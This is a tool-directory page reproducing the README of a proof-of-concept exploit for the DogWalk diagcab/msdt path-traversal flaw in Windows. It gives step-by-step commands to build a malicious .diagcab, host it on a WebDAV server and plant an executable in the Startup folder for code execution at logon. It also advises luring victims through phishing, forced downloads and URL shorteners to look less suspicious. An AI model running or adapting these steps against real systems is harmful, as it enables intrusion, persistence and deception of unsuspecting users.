Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
DogWalk-rce-poc — 🐾Dogwalk PoC (using diagcab file to obtain RCE on windows) | Kitploit
Tools/GitHubGitHub/ariary/dogwalk-rce-poc
Payload GenerationPersistence MechanismsExploitationPenetration Testing
GitHubariary/dogwalk-rce-poc

DogWalk-rce-poc

🐾Dogwalk PoC (using diagcab file to obtain RCE on windows)

View Repository
761454 years agoReviewed by Kitploit

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Dogwalk Proof-of-Concept🐾

root@kitploit:~

🚨 Disclaimer 🚨

The PoC allows an attacker to obtain on a Windows victim device. The goal of this repo is to make a PoC even more usable than the <a href= repo. DO NOT USE IT WITHOUT PRIOR AUTHORIZATION!



Remote Code Injection

https://github.com/irsl/microsoft-diagcab-rce-poc>initial



Regarding the damage caused and the simplicity of exploitation, I hope Microsoft will fix it
Update July 2022: Microsoft has not patched yet the vulnerability in msdt but Microsoft Defender is able to spot it

  • 🧠 Understand it
  • 🐾 Run it
  • 📺 Show Me

Core concept: path traversal vulnerability in Microsoft's Diagcab technology (msdt) that could lead to remote code execution.
You can find the full advisory in the blog post
The vulnerability has been reported for 2 years (by @irsl) and still has no fix!

How it works?

The Proof-of-Concept sets up a webdav server hosting a malicious .diagcab file that will perform a path transversal to write a malicious executable in C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup. Writing an executable in this folder will execute it each time the user starts the windows machine, this is called Boot Logon Autostart Execution.

So, basically what we need is:

  • webDAV server
  • Malicious .diagcab file
  • Malicious executable (legit one or basic text file is sufficient for the PoC)

🎬 Scenario

  1. The victim will visit a link (phishing, social engineering, or whatever) that will download the .diagcab file

(💡 use Content-type: application/octet-stream response header to make the Browser automaticaly downloading the file when browsing the url)

  1. The victim click on the file download (could easily/accidentaly happen by just clicking on the browser download folder)
  2. The cab file loads the webdav malicious executable -> (path transversal) downloaded in Start up menu
  3. The user restart his device -> (RCE)

Let's get it

If you are too lazy (or in a hurry) to proceed step-by-steps:

root@kitploit:~
./hurry-dogwalk.sh [WEBDAV_URL]         # need docker
# Stop the server
./hurry-dogwalk.sh --clean

Otherwise ↓↓

🔨 Craft the .diagcab file

  • .diagcfg are simple XML files that hold reference to one or more diagnostic packages and provide meta information about them
  • They are packaged into Microsoft cabinet file archives and saved with .diagcab extension.

Firt build custom.diagcfg:

root@kitploit:~
./build-malicious-diagcfg.sh --url [WEBDAV_URL]

And build the hotfix895214.diagcab:

root@kitploit:~
cabarc.exe n hotfix895214.diagcab custom.diagcfg
# run it on windows (or with wine). If you do not find carbarc.exe use http://jc.bellamy.free.fr/download/cabarc.exe or http://download.microsoft.com/download/platformsdk/cab/2.0/w98nt42kmexp/en-us/Cabsdk.exe

Finally, move it in the ./webdav/diagcab-webdav-poc/config directory

🏗️ Set up the server

Put the executable you want to transfer on victim machine within ./webdav/malicious directory... (Here we use the classic calc.exe)

...And launch the server:

root@kitploit:~
cd ./webdav/diagcab-webdav-poc/
perl diagcab-webdav-poc.pl

The malicious .diagcab is available at https://[WEBDAV_URL]/config/hotfix895214.diagcab. You now have to lure a victim to click on this link.

(💡you can use URL shortener to make it appears less suspicious)

👁️ Wait and see

Dogwalk set up

💡 by default, it seems that webdav communication are not enabled. See mitigations.txt to get a workaround to make it work

🐾🐾

demo

Download Tool